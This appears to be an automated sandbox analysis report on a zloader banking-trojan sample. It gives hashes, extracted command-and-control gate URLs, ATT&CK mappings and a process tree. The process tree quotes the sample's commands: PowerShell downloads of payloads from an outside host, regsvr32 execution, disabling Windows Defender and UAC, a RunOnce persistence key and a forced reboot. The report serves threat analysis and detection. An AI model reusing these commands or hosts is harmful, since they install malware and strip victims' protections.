zloader | edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052

Analysis

max time kernel
52s
max time network
120s
platform
windows10_x64
resource
win10v20210410
submitted
16/08/2021, 11:42

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Reason

Remote task has failed: Machine shutdown

General

Target
8f87fe90d589a4fa73cff6a242fe222b.exe
Size 165KB
Sample210816-e56yhsm3j6
SHA256 edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052
MD5 8f87fe90d589a4fa73cff6a242fe222b
SHA1 381e33872d0f6f1a7233beeb6e9524435c2a9ab6
SHA512 f0ce6885ac47429df5a1a0779c9a455300d77284ef71ff1e344afe2344513b430705ce50d62fceddb051cb5df8b67e1c4969b377413647f4cbe23fc87351aca0
MD5 SHA1 SHA512

Score

10^/10

zloader ivan ivan botnet persistence trojan

Malware Config

Extracted

Family

zloader

Botnet

ivan

Campaign

ivan

https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php

rc4.plain

rsa_pubkey.plain

Signatures

Zloader, Terdot, DELoader, ZeusSphinx
Zloader is a malware strain that was initially discovered back in August 2015.
trojan botnet zloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1772	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
3892	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	8f87fe90d589a4fa73cff6a242fe222b.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8f87fe90d589a4fa73cff6a242fe222b.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3404	timeout.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3164 wrote to memory of 2192	3164	8f87fe90d589a4fa73cff6a242fe222b.exe	75
PID 3164 wrote to memory of 2192	3164	8f87fe90d589a4fa73cff6a242fe222b.exe	75
PID 2192 wrote to memory of 1772	2192	cmd.exe	77
PID 2192 wrote to memory of 1772	2192	cmd.exe	77
PID 2192 wrote to memory of 1936	2192	cmd.exe	79
PID 2192 wrote to memory of 1936	2192	cmd.exe	79
PID 1936 wrote to memory of 3892	1936	regsvr32.exe	80
PID 1936 wrote to memory of 3892	1936	regsvr32.exe	80
PID 1936 wrote to memory of 3892	1936	regsvr32.exe	80

C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe
"C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c start.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest https://pornotublovers.com/JavaP.dll -OutFile JavaP.dll
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- - C:\Windows\system32\regsvr32.exe
    regsvr32 JavaP.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\Windows\SysWOW64\regsvr32.exe
      JavaP.dll
      4⤵
      Loads dropped DLL
      PID:3892
    - - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe
        5⤵
        
        PID:2876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest https://pornotublovers.com/nsudo.bat -OutFile nsudo.bat
    3⤵
    PID:2072
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:2548
  - - C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      4⤵
      PID:340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest https://pornotublovers.com/javase.exe -OutFile javase.exe
      4⤵
      PID:2768
  - - C:\Users\Admin\AppData\Roaming\javase.exe
      javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
      4⤵
      PID:2128
  - - C:\Users\Admin\AppData\Roaming\javase.exe
      javase -U:T sc config WinDefend start= disabled
      4⤵
      PID:3700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest https://pornotublovers.com/autorun100.bat -OutFile autorun100.bat
      4⤵
      PID:3952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
      4⤵
      PID:1052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -PUAProtection disable"
      4⤵
      PID:3588
  - - C:\Windows\system32\shutdown.exe
      shutdown.exe /r /f /t 00
      4⤵
      PID:3252
- - C:\Windows\system32\timeout.exe
    timeout 16
    3⤵
    - Delays execution with timeout.exe
    PID:3404

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3acd855 /state1:0x41c64e6d
1⤵
PID:3868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1052-247-0x000001E27E436000-0x000001E27E438000-memory.dmp

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memory/1052-229-0x000001E27E433000-0x000001E27E435000-memory.dmp

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memory/1052-228-0x000001E27E430000-0x000001E27E432000-memory.dmp

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memory/1772-132-0x000001AA64246000-0x000001AA64248000-memory.dmp

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memory/1772-125-0x000001AA7E3C0000-0x000001AA7E3C1000-memory.dmp

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memory/1772-121-0x000001AA642B0000-0x000001AA642B1000-memory.dmp

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memory/1772-130-0x000001AA64240000-0x000001AA64242000-memory.dmp

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memory/1772-131-0x000001AA64243000-0x000001AA64245000-memory.dmp

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memory/2072-168-0x000002BD2DB66000-0x000002BD2DB68000-memory.dmp

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memory/2072-160-0x000002BD2DB60000-0x000002BD2DB62000-memory.dmp

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memory/2072-161-0x000002BD2DB63000-0x000002BD2DB65000-memory.dmp

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memory/2768-186-0x00000234AC4A0000-0x00000234AC4A2000-memory.dmp

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memory/2768-188-0x00000234AC4A6000-0x00000234AC4A8000-memory.dmp

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memory/2768-187-0x00000234AC4A3000-0x00000234AC4A5000-memory.dmp

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memory/2876-159-0x0000000002C50000-0x0000000002C76000-memory.dmp

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memory/3588-275-0x0000021927868000-0x0000021927869000-memory.dmp

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memory/3588-250-0x0000021927866000-0x0000021927868000-memory.dmp

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memory/3588-248-0x0000021927860000-0x0000021927862000-memory.dmp

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memory/3588-249-0x0000021927863000-0x0000021927865000-memory.dmp

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memory/3892-141-0x0000000000660000-0x00000000007AA000-memory.dmp

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memory/3892-142-0x0000000010000000-0x000000001017A000-memory.dmp

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memory/3952-213-0x0000021B01986000-0x0000021B01988000-memory.dmp

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memory/3952-212-0x0000021B01983000-0x0000021B01985000-memory.dmp

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memory/3952-211-0x0000021B01980000-0x0000021B01982000-memory.dmp

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Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads